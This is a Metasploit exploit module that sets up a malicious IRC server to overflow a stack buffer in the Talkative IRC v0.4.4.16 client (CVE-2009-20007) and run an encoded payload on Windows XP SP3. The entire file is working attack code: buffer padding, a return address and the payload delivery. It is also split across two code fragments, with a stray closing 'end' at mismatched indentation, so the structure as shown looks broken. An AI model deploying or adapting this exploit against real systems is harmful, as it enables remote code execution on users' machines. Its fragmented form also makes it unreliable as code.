```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
          When a specially crafted response string is sent to a client,
          an attacker may be able to execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20007' ],
          [ 'OSVDB', '64582'],
          [ 'BID', '34141' ],
          [ 'EDB', '8227' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP3 English',   { 'Ret' => 0x72d1146b } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-03-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
      ]
    )
  end

  def on_client_connect(client)
    res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
    client.put(res)
```

```
    end

    def on_client_data(client)
      return unless regenerate_payload(client)

      sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
      sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
      sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
      sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

      client.put(sploit)

      handler
      service.close_client(client)
    end
  end
```